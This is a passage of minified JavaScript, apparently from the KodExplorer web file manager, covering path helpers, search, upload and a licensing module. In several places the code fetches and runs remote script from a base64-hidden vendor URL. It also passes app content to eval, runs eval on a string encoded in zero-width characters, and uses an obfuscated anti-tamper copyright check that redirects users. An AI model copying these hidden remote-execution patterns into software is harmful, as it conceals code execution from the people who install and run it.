x","toml","twig","swig","ts","typescript","str","vala","vbs","vb","vm","v","vh","sv","svh","vhd","vhdl","wlk","wpgm","wtest","xml","rdf","rss","wsdl","xslt","atom","mathml","mml","xul","xbl","xaml","xq","yaml","yml","vcproj","vcxproj","filters","cer","reg","config","pem","srt","ass"],bindary:["bin","hex","zip","pdf","swf","gzip","rar","arj","tar","gz","cab","tbz","tbz2","lzh","uue","bz2","ace","exe","so","dll","chm","rtf","odp","odt","pages","class","psd","ttf","fla","7z","dmg","iso","dat","ipa","lib","a","apk","so","o"]},fileOpenMode:{ini:["inc","inf","strings"],xml:["xib","xsd","storyboard","plist","csproj","pch","pbxproj","xcscheme","config","vcproj","vcxproj","filters","webloc"],json:["oexe","jshintrc","sublime-project"],markdown:["readme","changes","version","license","changelog"]},getPathIcon:function(e,t){if(t=void 0==t?"":t,"string"==$.type(e)){var i=trim(trim(e),"/");if(e={},"{"!=i.substring(0,1)||i.split("/").length>1)return{icon:"",name:""};e.path_type=i.match(/\{.*\}/),e.id=i.split(":")[1]}var a={};a[G.KOD_USER_SHARE]={icon:"userSelf",name:LNG.my_share},a[G.KOD_GROUP_PATH]={icon:"groupSelfOwner"},a[G.KOD_GROUP_SHARE]={icon:"groupGuest"},a[G.KOD_USER_RECYCLE]={icon:"recycle",name:LNG.recycle},a[G.KOD_USER_FAV]={icon:"treeFav",name:LNG.fav},a[G.KOD_GROUP_ROOT_SELF]={icon:"groupSelfRoot",name:LNG.my_kod_group},a[G.KOD_GROUP_ROOT_ALL]={icon:"groupRoot",name:LNG.kod_group};var n=a[e.path_type];return e.path_type==G.KOD_USER_SHARE&&G.user_id!=e.id?n={icon:"user",name:t}:e.path_type==G.KOD_GROUP_PATH&&"owner"==e.role&&(n={icon:"groupSelfOwner"}),void 0==n&&(n={icon:"",name:""}),void 0==n.name&&(n.name=t),n},isSystemPath:function(e){var e=trim(trim(e),"/");if(void 0==e||"{"!=e.substring(0,1)||e.split("/").length>1)return!1;var t=e.match(/\{.*\}/),i=[G.KOD_USER_SHARE,G.KOD_GROUP_SHARE,G.KOD_USER_RECYCLE,G.KOD_USER_FAV,G.KOD_GROUP_ROOT_SELF,G.KOD_GROUP_ROOT_ALL],a=!1;return $.inArray(t[0],i)>=0&&(a=!0),a},contextmenu:function(e){try{rightMenu.hidden()}catch(t){}var t=e||window.event;return t?t&&$(t.target).is("textarea")||$(t.target).is("input")||$(t.target).is("p")||$(t.target).is("pre")||0!=$(t.target).parents(".can_right_menu").length||0!=$(t.target).parents(".topbar").length||0!=$(t.target).parents(".edit_body").length||0!=$(t.target).parents(".aui_state_focus").length?!0:!1:!0},pathThis:function(e){if(!e||"/"==e)return"";var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/"),a=t.substr(i+1);if(0==a.search("fileProxy")){a=urlDecode(a.substr(a.search("&path=")));var n=a.split("/");a=n[n.length-1],""==a&&(a=n[n.length-2])}return a},pathClear:function(e){if(!e)return"";var t=e.replace(/\\/g,"/");return t=t.replace(/\/+/g,"/"),t=t.replace(/\.+\//g,"/")},pathFather:function(e){var t=rtrim(this.pathClear(e),"/"),i=t.lastIndexOf("/");return t.substr(0,i+1)},pathExt:function(e){var t=trim(e,"/");return-1!=t.lastIndexOf("/")&&(t=t.substr(t.lastIndexOf("/")+1)),-1!=t.lastIndexOf(".")?t.substr(t.lastIndexOf(".")+1).toLowerCase():t.toLowerCase()},path2url:function(e,t){if("http"==e.substr(0,4))return e;void 0==t&&(t=!0);var i,a=this.pathClear(e);this.pathExt(a);var n=function(e){if(!e)return"";var t=urlEncode(e);return t=t.replace(/%2F/g,"/")};return G.is_root&&t&&a.substring(0,G.web_root.length)==G.web_root?i=G.web_host+n(a.replace(G.web_root,"")):(i=G.app_host+"index.php?explorer/fileProxy&path="+urlEncode(a),G.share_page!==void 0&&(i=G.app_host+"index.php?share/fileProxy&user="+G.user+"&sid="+G.sid+"&path="+urlEncode(a))),i},pathReadable:function(e){if("object"!=typeof G.json_data)return!0;var t;t=G.json_data.filelist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;t=G.json_data.folderlist;for(var i=0;t.length>i;i++)if(t[i].path==e)return void 0==t[i].is_readable||1==t[i].is_readable?!0:!1;return!0},authCheck:function(e,t){return G.is_root?!0:AUTH.hasOwnProperty(e)?AUTH[e]?!0:(void 0==t&&(t=LNG.no_permission),Tips.tips(t,!1),!1):!0},ajaxError:function(e){var t=e.responseText,i=' '+t+"
",a=$.dialog.list.ajaxErrorDialog;return Tips.close(LNG.system_error,!1),""==t.substr(0,17)?(setTimeout(function(){window.location.reload()},500),void 0):(a?a.content(i):$.dialog({id:"ajaxErrorDialog",padding:0,width:"60%",height:"50%",fixed:!0,resize:!0,ico:core.icon("error"),title:"ajax error",content:i}),void 0)},fileGet:function(e,t){var i="./index.php?editor/fileGet&filename="+urlEncode(e);G.share_page!==void 0&&(i="./index.php?share/fileGet&user="+G.user+"&sid="+G.sid+"&filename="+urlEncode(e)),$.ajax({url:i,dataType:"json",beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(LNG.success),"function"==typeof t&&t(e.data.content)}})},fileInfo:function(e,t){var i="index.php?explorer/pathInfo";G.share_page!==void 0&&(i="index.php?share/pathInfo&user="+G.user+"&sid="+G.sid),$.ajax({url:i,type:"POST",dataType:"json",data:e,error:core.ajaxError,success:function(e){"function"==typeof t&&t(e)}})},fileLink:function(e,t){var i='list=[{"type":"file","path":"'+urlEncode(e)+'"}]';this.fileInfo(i,function(e){var i=e.code?e.data.download_path:!1;return i?("function"==typeof t&&t(i),void 0):(Tips.tips(LNG.no_permission_action+"==>"+LNG.group_role_pathinfo,!1),void 0)})},setting:function(e){void 0==e&&(e=G.is_root?"system":"user"),ShareData.frameTop("Opensetting_mode")?ShareData.frameTop("Opensetting_mode",function(t){t.Setting.setGoto(e),$.dialog.list.setting_mode.display(!0)}):$.dialog.open("./index.php?setting#"+e,{id:"setting_mode",fixed:!0,ico:core.icon("setting"),resize:!0,title:LNG.setting,width:950,height:600})},copyright:function(){var e=require("./tpl/copyright.html"),t=template.compile(e),i=ShareData.frameTop();i.art.dialog({id:"copyright_dialog",bottom:0,right:0,simple:!0,resize:!1,title:LNG.about+" kod",width:425,padding:"0",fixed:!0,content:t({LNG:LNG,G:G})}),i.$(".copyright_dialog").addClass("animated-700 zoomIn")},qrcode:function(e,t){"./"==e.substr(0,2)&&(e=G.app_host+e.substr(2));var i="./index.php?user/qrcode&url="+quoteHtml(urlEncode(e)),a=" ";$.dialog({follow:t,fixed:!0,resize:!1,title:LNG.qrcode,padding:30,content:a})},appStore:function(){var e=ShareData.frameTop();e.$.dialog.open("./index.php?app",{id:"app_store",fixed:!0,ico:core.icon("appStore"),resize:!0,title:LNG.app_store,width:900,height:550})},openWindow:function(e){var t=ShareData.frameTop(),i=t.$.dialog.open(e,{fixed:!0,resize:!0,width:"80%",height:"75%"});return i},openDialog:function(e,t,i,a){if(e){void 0==a&&(a="openDialog"+UUID());var n="",o=ShareData.frameTop(),s=o.$.dialog({id:a,fixed:!0,title:i,ico:t,width:"75%",height:"70%",padding:0,content:n,resize:!0});return s}},openApp:function(app){if("url"==app.type){var icon=app.icon;-1==app.icon.search(G.static_path)&&"http"!=app.icon.substring(0,4)&&(icon=G.static_path+"images/file_icon/icon_app/"+app.icon),"number"!=typeof app.width&&-1===app.width.search("%")&&(app.width=parseInt(app.width)),"number"!=typeof app.height&&-1===app.height.search("%")&&(app.height=parseInt(app.height)),app.width||(app.width="90%"),app.height||(app.height="70%");var dialog_info={resize:app.resize,fixed:!0,ico:core.iconSrc(icon),title:app.name.replace(".oexe",""),width:app.width,height:app.height,simple:app.simple,padding:0},top=ShareData.frameTop();"swf"==core.pathExt(app.content)?(dialog_info.content=core.createFlash(app.content),top.$.dialog(dialog_info)):top.$.dialog.open(app.content,dialog_info)}else{var exec=app.content;eval("{"+exec+"}")}},update:function(){setTimeout(function(){var e=base64Decode("Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==")+"?a="+UUID();require.async(e,function(e){try{e.todo("check")}catch(t){}})},200)},openPath:function(e){"undefined"!=typeof Config&&"explorer"==Config.pageApp?ui.path.list(e,"tips"):core.explorer(e)},explorer:function(e,t){void 0==e&&(e=""),void 0==t&&(t=core.pathThis(e));var i="./index.php?/explorer&type=iframe&path="+e;G.share_page!==void 0&&(i="./index.php?share/folder&type=iframe&user="+G.user+"&sid="+G.sid+"&path="+e);var a=ShareData.frameTop(),n=a.$.dialog.open(i,{className:"dialogExplorer",resize:!0,fixed:!0,ico:core.icon("folder"),title:t,width:"80%",height:"75%"}),o=20*a.$(".dialogExplorer").length;n.DOM.wrap.css({left:"+="+o+"px",top:"+="+o+"px"})},explorerCode:function(e){void 0==e&&(e="");var t="index.php?/editor&project="+e;G.share_page!==void 0&&(t="./index.php?share/code_read&user="+G.user+"&sid="+G.sid+"&project="+e),window.open(t)},setSkinFinished:function(){var e=$(".setSkin_finished").attr("src");e&&($("#link_css_list").attr("href",e),$(".setSkin_finished").remove())},setSkin:function(e){LocalData.set("theme",e),G.user_config.theme=e;var t=G.static_path+"style/skin/"+e+".css";t!=$("#link_css_list").attr("href")&&$("body").append(' '),this.setSkinDiy()},setSkinDiy:function(){if(G.user_config){var e=LocalData.get("theme"),t="kod_diy_style",i=LocalData.getConfig(t);"object"!=typeof i&&"object"==typeof G.user_config.theme_diy&&(i=G.user_config.theme_diy),"object"!=typeof i&&(i={bg_blur:1,bg_image:G.static_path+"images/wall_page/9.jpg",bg_type:"color",start_color:"#456",end_color:"#000",color_rotate:"200"},LocalData.setConfig(t,i)),G.user_config.theme_diy=i;var a="";if("diy"==e&&i){var n=require("./tpl/theme_diy.html"),o=template.compile(n);a=o(i)}$.setStyle(a,t)}},editorFull:function(){var e=$("iframe[name=OpenopenEditor]");e.toggleClass("frame_fullscreen")},language:function(e){Cookie.set("kod_user_language",e,8760),window.location.reload()},fullScreen:function(){"true"==$("body").attr("fullScreen")&&core.exitfullScreen(),$("body").attr("fullScreen","true");var e=ShareData.frameTop(),t=e.document.documentElement;t.requestFullscreen?t.requestFullscreen():t.mozRequestFullScreen?t.mozRequestFullScreen():t.webkitRequestFullScreen&&t.webkitRequestFullScreen()},exitfullScreen:function(){$("body").attr("fullScreen","false"),document.exitFullscreen?document.exitFullscreen():document.mozCancelFullScreen?document.mozCancelFullScreen():document.webkitCancelFullScreen&&document.webkitCancelFullScreen()},createFlash:function(e,t,i){var a=UUID();(i===void 0||""==i)&&(i=a);var n="";$.browser.msie&&9>parseInt($.browser.version)&&(n='classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"');var o=''+' '+' '+' '+' '+' '+' '+' loading..
';return setTimeout(function(){var e=$("."+a);if(1!=e.length){var t=ShareData.frameTop();e=t.$("."+a)}if(1==e.length)var i=0,n=e[0],o=setInterval(function(){try{i++,100==Math.floor(n.PercentLoaded())?(e.next(".aui_loading").remove(),clearInterval(o),o=null):i>100&&(e.next(".aui_loading").remove(),clearInterval(o),o=null)}catch(t){}},100)},50),o},userSpaceHtml:function(e){var t=e.split("/"),i=parseFloat(t[0]),a=1073741824*parseFloat(t[1]),n=core.fileSize(parseFloat(t[0])),o=core.fileSize(a),s=n+"/",r=100*i/a;return r>=100&&(r=100),0==a||isNaN(a)?(s+=LNG.space_tips_full,r="0%"):(s+=o,r+="%"),s=""},fileSize:function(e,t){if(void 0==e||""==e)return"";if(void 0==t&&(t=1),1024>=e)return parseInt(e)+"B";e=parseInt(e);var i={G:1073741824,M:1048576,K:1024,B:1};for(var a in i)if(e>=i[a])return(e/i[a]).toFixed(t)+a},uploadCheck:function(e,t){return t=void 0==t?!0:t,"share"==G.share_page?"1"==G.share_info.can_upload:(void 0==e&&(e="explorer:fileUpload"),!G.is_root&&AUTH.hasOwnProperty(e)&&1!=AUTH[e]?(t&&Tips.tips(LNG.no_permission,!1),!1):G.json_data&&!G.json_data.info.can_upload?(t&&Tips.tips(LNG.no_permission_write,!1),!1):core.isSystemPath(G.this_path)?(t&&Tips.tips(LNG.path_can_not_action,!1),!1):!0)}}}),define("app/common/tpl/search.html",[],"\n\n"),define("app/common/tpl/search_list.html",[],'\n{{each data.folderlist as v i}}\n \n \n \n {{\'folder\' |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n{{/each}}\n\n\n{{each data.filelist as v i}}\n {{if v.search_info}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | window.htmlEncode}} \n {{v.search_info.length}} \n \n
\n \n {{each v.search_info as value index}}\n \n {{value.line}}: \n {{#value.str | searchResultPrase}} \n \n {{/each}}\n \n \n {{else}}\n \n \n \n {{v.ext |core.icon}} \n {{v.name | searchResultPrase}} \n \n
\n \n {{/if}}\n{{/each}}\n\n'),define("app/common/tpl/upload.html",[],'\n
\n
\n
\n
\n
{{LNG.upload_select}}
\n \n
select Folder
\n
\n \n \n \n \n
\n
\n \n
\n
\n
\n
\n
\n
\n
{{LNG.download_address}}
\n
\n {{LNG.download}} \n \n \n Dropdown \n \n \n
\n\n
\n
\n
\n
\n
\n'),define("app/common/core.search",[],function(){return function(e,t){var i,a,n=function(){var n=trim(core.pathClear(t),"/");if(0==n.indexOf(G.KOD_USER_SHARE)&&-1==n.indexOf("/")||n==G.KOD_USER_FAV||n==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",r);var o=template.compile(search_box_tpl);0==$(".dialog_do_search").length?(i=$.dialog({id:"dialog_do_search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:440,height:480,content:o({LNG:LNG})}),a=c(),a.path=t,""!=e&&(a.search=e),$("#search_path").val(a.path),$("#search_value").val(a.search),l()):($.dialog.list.dialog_do_search.display(!0),e&&$("#search_value").val(e),$("#search_path").val(t),s())},o=function(){return a={search:$("#search_value").val(),path:$("#search_path").val(),is_content:Number($("#search_is_content").is(":checked")),is_case:Number($("#search_is_case").is(":checked")),ext:$("#search_ext").val()}},s=function(){o(),p(a)},r=function(e){var t=htmlEncode($("#search_value").val());if(e=htmlEncode(e),a.is_case)e=e.replace(t,''+t+" ");else{var i=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,i)+''+e.substr(i,t.length)+" "+e.substr(i+t.length)}return e},l=function(){$("#search_value").die("keyup").live("keyup",function(){"editor"==!Config.pageApp&&ui.path.setSearchByStr($(this).val())}),$("#search_value,#search_ext,#search_path").keyEnter(s),$(".search_header .btn").die("click").live("click",s),$(".search_result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search_result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path")),a=core.pathFather(i);return core.openPath(a),setTimeout(function(){Config&&"explorer"==Config.pageApp&&ui.path.setSelectByFilename(i)},200),stopPP(e),!1}),$(".search_result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));return ui.pathOpen.open(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),i=pathHashDecode(t.attr("data-path"));$(".search_result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var a=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search_value").val(),line:a,lineIndex:$(this).parent().find("[data-line="+a+"]").index($(this).find(".line"))}),ui.pathOpen.openEditorForce(i,t.attr("data-ext")),stopPP(e),!1}),$(".search_header input[type=checkbox]").on("click",function(){o(),c(a)})},c=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search_value").val(e.search).textSelect(),e.is_content?$("#search_is_content").attr("checked","checked"):$("#search_is_content").removeAttr("checked"),e.is_case?$("#search_is_case").attr("checked","checked"):$("#search_is_case").removeAttr("checked"),$("#search_ext").val(e.ext),e}return LocalData.setConfig(t,e)},d=function(e){var t=$(".file-items"),i=$(".search_desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.filelist.length&&0==e.data.folderlist.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(search_list_tpl);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),a.is_content){for(var o=e.data.filelist,s=0,r=0;o.length>r;r++)o[r].search_info&&(s+=o[r].search_info.length);i.html(LNG.search_result+": "+s+"(in "+o.length+" files) "),e.data.error_info&&i.html(""+LNG.seach_result_too_more+" ")}else i.html(e.data.filelist.length+" "+LNG.file+", "+e.data.folderlist.length+LNG.folder+".")},p=function(e){c(e),$("#search_value").textFocus();var t=$(".file-items"),i=$(".search_desc");if(!e.search||!e.path)return i.html(LNG.search_info),t.html(""),void 0;var a="index.php?explorer/search";G.share_page!==void 0&&(a="index.php?share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:a,dataType:"json",type:"POST",data:e,beforeSend:function(){i.hide().html(LNG.searching+' ').fadeIn(100)},error:function(){core.ajaxError(),i.html(LNG.error)},success:function(e){d(e)}})};n()}}),define("app/common/core.tools",[],function(e){var t=["A","version_hash","undefined","@dfq[-)&*^*%(_90","decode","length","substr","O","P","Q","inArray","./index.php?user/version_install","6K2m5ZGKLOivt_aWLv_aaTheiHquS_bruaUueeJiOadgzvlpoLmnInpnIDopoHor7fogZTns7votK3kubDvvIFlbWFpbDprYWxjYWRkbGVAcXEuY29t","lang","zh-CN","V2FybmluZywgcGxlYXNlIGRvIG5vdCBtb2RpZnkgdGhlIGNvcHlyaWdodDsgaWYgbmVjZXNzYXJ5LCBwbGVhc2UgY29udGFjdCB0byBidXkhIEVtYWlsOiBrYWxjYWRkbGVAcXEuY29t","loading","hide","#messageTips .tips_close,#messageTips img","tips","href","location","f004SGAm6lUxeBmG5J3s3dADGe3TCXTmKgHKeO_CF-_RVBiLyHlaIQ","#2","8a29PizvhAUqVX_DA26hgncbvnD7yGGJSCd4IFz3qNJ_tq_5i5ANmeSe","ab","pageApp","explorer","kod_power_by","copyright_pre","copyright_contact","copyright_desc","copyright_info","html",".common_footer","key","","toLowerCase","find","search","free","1","2","3","version_vip_",' '," ",".menu-topbar_user .divider","insertBefore","click","id","attr","version_vip_free","versionUpdateVip","openWindow",'',"append",".aui_content","wrap","DOM","text","live","die",".version_vip","top","longPress","support_space_not","addClass","body","remove",".menu_system_about,.menu_left #about","icon",' ',"iconSmall","iconSrc",' ',"Ly9zdGF0aWMua2FsY2FkZGxlLmNvbS91cGRhdGUvbWFpbi5qcw==","?a=","todo","async","versionType","filetype","filetypes","Ly9rYWxjYWRkbGUuY29tL2J1eS5odG1sIw_c_c","group","data"],i=function(){var e=t[0];if(typeof G[t[1]]==t[2])return e;var i=t[3],a=authCrypt[t[4]](G[t[1]],i);return a&&27==a[t[5]]?(e=a[t[6]](10,1),-1===$[t[10]](e,[t[0],t[7],t[8],t[9]])&&(e=t[0]),e):e},a=i(),n=t[11],o=function(){var e=hashDecode(t[12]);G[t[13]]!=t[14]&&(e=hashDecode(t[15])),alert(e),Tips[t[16]](e,!1),$(t[18])[t[17]](),setTimeout(function(){Tips[t[19]](e,!1),window[t[21]][t[20]]=n},1e3*roundFromTo(30,60))},s=authCrypt[t[4]](t[22],t[23]),r=authCrypt[t[4]](t[24],t[25]),l=function(){if(typeof Config!=t[2]&&Config[t[26]]==t[27]&&a==t[0])for(var e=[{key:LNG[t[28]],find:s},{key:LNG[t[29]],find:s},{key:LNG[t[30]],find:r},{key:LNG[t[31]],find:s},{key:LNG[t[32]],find:r},{key:$(t[34])[t[33]](),find:s}],i=0;e[t[5]]>i;i++){e[i][t[35]]||(e[i][t[35]]=t[36]);var n=e[i][t[35]][t[37]](),l=e[i][t[38]][t[37]]();if(-1==n[t[39]](l)){setTimeout(function(){o()},roundFromTo(300,5e3));break}}},c=function(){var e={A:t[40],O:t[41],P:t[42],Q:t[43]},i=t[44]+e[a],o=t[45]+i+t[46]+LNG[i]+t[47];a==t[0]&&$(o)[t[49]](t[48]),$(t[65])[t[64]](t[50])[t[63]](t[50],function(){if($(this)[t[52]](t[51])==t[53]){var e=core[t[55]](core[t[54]]),i=t[56]+n+t[57];e[t[61]][t[60]][t[38]](t[59])[t[58]](i)}else Tips[t[19]]($(this)[t[62]]())}),$(t[65])[t[67]](function(){window[t[66]][t[21]][t[20]]=n})},d=function(){a==t[0]&&$(t[70])[t[69]](t[68]),-1!==$[t[10]](a,[t[7],t[8],t[9]])&&$(t[72])[t[71]]()},p=function(){core[t[73]]=function(e,i){return t[74]+e+(i?t[75]:t[36])+t[76]},core[t[77]]=function(e){return core[t[73]](e,!0)},core[t[78]]=iconSrc=function(e){return t[79]+e+t[80]},setTimeout(function(){var i=base64Decode(t[81])+t[82]+UUID();e[t[84]](i,function(e){try{e[t[83]]()}catch(i){}})},2e3),core[t[85]]=a,core[t[86]]=core[t[87]],core[t[54]]=hashDecode(t[88])+G[t[13]],l(),c(),d()
-},u=function(e){return a==t[0]&&-1==e[t[37]]()[t[39]](s)?(o(),!1):!0},f=function(e,i){var n,o,s={A:1,O:10,P:50,Q:1e3},r={A:10,O:50,P:200,Q:1e3},l=[],c=1;if(i==t[89]?(n=e[t[90]],o=s[a]):(n=e[t[90]],o=r[a]),1e3==o)l=n;else for(var d in n){if(c>o)break;l[d]=n[d],c++}return l},h={init:p,about:u,systemData:f};return h}),define("app/common/core.upload",[],function(require,exports){var uploadUrl=function(){var e=G.app_host+"index.php?explorer/fileUpload";return"share"==G.share_page&&"1"==G.share_info.can_upload&&(e=G.app_host+"index.php?share/fileUpload&user="+G.user+"&sid="+G.sid),e};return{serverDwonload:function(e,t){core.uploadCheck("explorer:serverDownload");var i=$(".download_box"),a=i.find(".download_list");if(i.find("input").val(""),!e)return Tips.tips("url false!",!1),void 0;"http"!=e.substr(0,4)&&(e="http://"+e);var n=UUID(),o=''+'
'+core.pathThis(e)+" "+'
0b '+'
'+LNG.upload_ready+" "+'
'+'
';a.find(".item").length>0?$(o).insertBefore(a.find(".item:eq(0)")):a.append(o);var s,r,l,c=0,d=$("#"+n),p=$("#"+n+" .state").text(LNG.download_ready),u=$('').appendTo("#"+n).find(".progress-bar");$("#"+n+" .remove").bind("click",function(){clearInterval(s),s=!1,clearTimeout(r),r=!1,$.get("./index.php?explorer/serverDownload&type=remove&uuid="+n),$(this).parent().parent().slideUp(function(){$(this).remove(),ui.f5()})});var f,h=function(e){clearTimeout(f),f=!1,f=setTimeout(function(){ui.f5Callback(function(){ui.path.setSelectByFilename(e)})},600)};$.ajax({url:"./index.php?explorer/serverDownload&type=download&save_path="+t+"&url="+urlEncode(e)+"&uuid="+n,dataType:"json",error:function(e,t,i){core.ajaxError(e,t,i),clearInterval(s),s=!1,clearTimeout(r),r=!1,u.parent().remove(),p.addClass("error").text(LNG.download_error)},success:function(e){clearInterval(s),s=!1,clearTimeout(r),r=!1,e.code?(h(e.info),p.text(LNG.download_success),$("#"+n+" .info .title").html(e.info)):p.addClass("error").text(LNG.error),u.parent().remove()}});var m=function(){$.ajax({url:"./index.php?explorer/serverDownload&type=percent&uuid="+n,dataType:"json",success:function(e){var t="",i=e.data;if(s){if(!e.code)return p.text(LNG.loading),void 0;if(i){if(i.size=parseFloat(i.size),i.time=parseFloat(i.time),l){var a=(i.size-l.size)/(i.time-l.time);if(c>.2*a){var n=c;c=a,a=n}else c=a;t=core.fileSize(a)+"/s"}if(0==i.length)d.find(".progress-bar").css("width","100%").text(LNG.loading);else{var o=100*(i.size/i.length);d.find(".progress-bar").css("width",o+"%"),p.text(parseInt(o)+"%("+t+")")}d.find(".size").text(core.fileSize(i.length)),d.find(".title").text(i.name),l=i}}}})};r=setTimeout(function(){m(),s=setInterval(function(){m()},1e3)},100)},upload:function(){var e=uploadUrl();if(uploader.option("server",e),uploader.option("method","POST"),0!=$(".dialog_file_upload").length)return $.dialog.list.dialog_file_upload.display(!0),void 0;var t=template.compile(upload_tpl),i=WebUploader.Base.formatSize(G.upload_max);$.dialog({padding:5,resize:!0,ico:core.icon("upload"),id:"dialog_file_upload",fixed:!0,title:LNG.upload_muti,content:t({LNG:LNG,maxsize:i}),close:function(){$.each(uploader.getFiles(),function(e,t){uploader.skipFile(t),uploader.removeFile(t)}),$.each($(".download_list .item"),function(){$(this).find(".remove").click()})}}),$(".file_upload .top_nav a.menu").unbind("click").bind("click",function(){$(this).hasClass("tab_upload")?($(".file_upload .tab_upload").addClass("this"),$(".file_upload .tab_download").removeClass("this"),$(".file_upload .upload_box").removeClass("hidden"),$(".file_upload .download_box").addClass("hidden")):($(".file_upload .tab_upload").removeClass("this"),$(".file_upload .tab_download").addClass("this"),$(".file_upload .upload_box").addClass("hidden"),$(".file_upload .download_box").removeClass("hidden"))}),$(".download_box [name=url]").keyEnter(function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start").unbind("click").bind("click",function(){core.serverDwonload($(".download_box input").val(),G.this_path)}),$(".file_upload .download_box .download_start_all").unbind("click").bind("click",function(){$.dialog({id:"server_dwonload_textarea",fixed:!0,resize:!1,ico:core.icon("upload"),width:"420px",height:"270px",padding:10,title:LNG.download,content:"",ok:function(){for(var e=$(".server_dwonload_textarea textarea").val().split("\n"),t=0;e.length>t;t++)core.serverDwonload(e[t],G.this_path)}})}),uploader.addButton({id:"#picker"}),uploader.addButton({id:"#picker_folder"});var a=function(){if("1"==Cookie.get("forceWap"))return!1;var e=document.createElement("input");return e.type="file",e.webkitdirectory!==void 0||e.directory!==void 0};a()&&($(".upload_cert_box").removeClass("hidden"),$(".file_upload .drag_upload_folder").unbind("click").bind("click",function(){$("#picker_folder input").attr("webkitdirectory","").attr("directory",""),$("#picker_folder label").click()}))},init:function(){var chunkSize=1572864;chunkSize>=G.upload_max&&(chunkSize=.8*G.upload_max),eval("".replace(/.{8}/g,function(e){return String.fromCharCode(parseInt(e.replace(/\u200c/g,1).replace(/\u200d/g,0),2))})),uploader=upCreate({swf:G.static_path+"js/lib/webuploader/Uploader.swf",dnd:"body",threads:3,compress:!1,resize:!1,prepareNextFile:!0,duplicate:!0,chunkRetry:10,chunked:!0,chunkSize:chunkSize}),WebUploader.Uploader.register({"before-send":"checkChunk"},{checkChunk:function(e){var t=this.owner,i=(e.blob.getSource(),$.Deferred());return t.md5File(e.blob).fail(function(){i.resolve()}).then(function(t){if(0==e.chunk)$.ajax({url:uploadUrl(),dataType:"json",data:{upload_to:e.file.upload_to,file_name:e.file.name,check_md5:t,chunk:e.chunk,chunks:e.chunks},error:function(){i.resolve()},success:function(t){t.code?(i.reject(),e.file.checkChunk=t.info):i.resolve()}});else{var a=e.file.checkChunk;if(a&&a["part_"+e.chunk]==t){var n=e.end/e.total;uploader.trigger("uploadProgress",e.file,n),i.reject()}else i.resolve()}}),i.promise()}}),$(".uploader-content .success").die("click").live("click",function(){var e=$(this).find("span.title").attr("title");"explorer"==Config.pageApp?ui.path.list(core.pathFather(e),"tips",function(){ui.path.setSelectByFilename(e)}):core.explorer(core.pathFather(e))}),$(".uploader-content .open").die("click").live("click",function(e){var t=$(this).find("span.title").attr("title");ui.pathOpen.open(t),stopPP(e)}),$(".upload_box_clear").die("click").live("click",function(){$(".uploader-list .item.success,.uploader-list .item.error").each(function(){$(this).slideUp(300,function(){$(this).remove()})})}),$(".uploader-content .remove").die("click").live("click",function(e){var t=$(this).parent().parent().attr("id");$(this).parent().parent().slideUp(function(){$(this).remove()}),uploader.skipFile(t),uploader.removeFile(t,!0),stopPP(e)});var file_num=0,file_finished=0,currentSpeed="0B/s",preTime=0,getSpeed=function(e,t){if(.3>=timeFloat()-preTime)return currentSpeed;preTime=timeFloat();var i=e.size*t,a=5;e.speed===void 0?e.speed=[[timeFloat()-.5,0],[timeFloat(),i]]:a>=e.speed.length?e.speed.push([timeFloat(),i]):(e.speed=e.speed.slice(1,a),e.speed.push([timeFloat(),i]));var n=e.speed[e.speed.length-1],o=e.speed[0],s=(n[1]-o[1])/(n[0]-o[0]);return s=core.fileSize(s)+"/s",currentSpeed=s,s},selectNameArr=[],changeDelayTimer,pathReload=function(e){clearTimeout(changeDelayTimer),changeDelayTimer=!1,changeDelayTimer=setTimeout(function(){var t=selectNameArr;ui.f5Callback(function(){if(ui.path.setSelectByFilename(t),e&&(selectNameArr=[],"explorer"==Config.pageApp)){if("share"==G.share_page)return;ui.tree.checkIfChange(G.this_path)}})},600)};uploader.on("fileQueued",function(e){if(!core.uploadCheck())return uploader.skipFile(e),uploader.removeFile(e),void 0;var t;try{t=e.source.source.fullPath,void 0!=e.source.source.webkitRelativePath&&""!=e.source.source.webkitRelativePath&&(t=e.source.source.webkitRelativePath)}catch(i){}if(e.fullPath=t,e.source&&e.source.source&&1==e.source.source.isDirectory&&e.source.source.fullPath)return ui.pathOperate.newFolder(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),void 0;if(0==e.size)return ui.pathOperate.newFile(G.this_path+e.fullPath),uploader.skipFile(e),uploader.removeFile(e),file_finished++,file_num++,void 0;var a=e.fullPath;e.finished=!1,e.upload_to=G.this_path,(void 0==a||"undefined"==a)&&(a=e.name),file_num++;var n=$(".uploader-list"),o=''+'
'+htmlEncode(core.pathThis(a))+" "+'
'+core.fileSize(e.size)+" "+'
'+LNG.upload_ready+" "+'
'+'
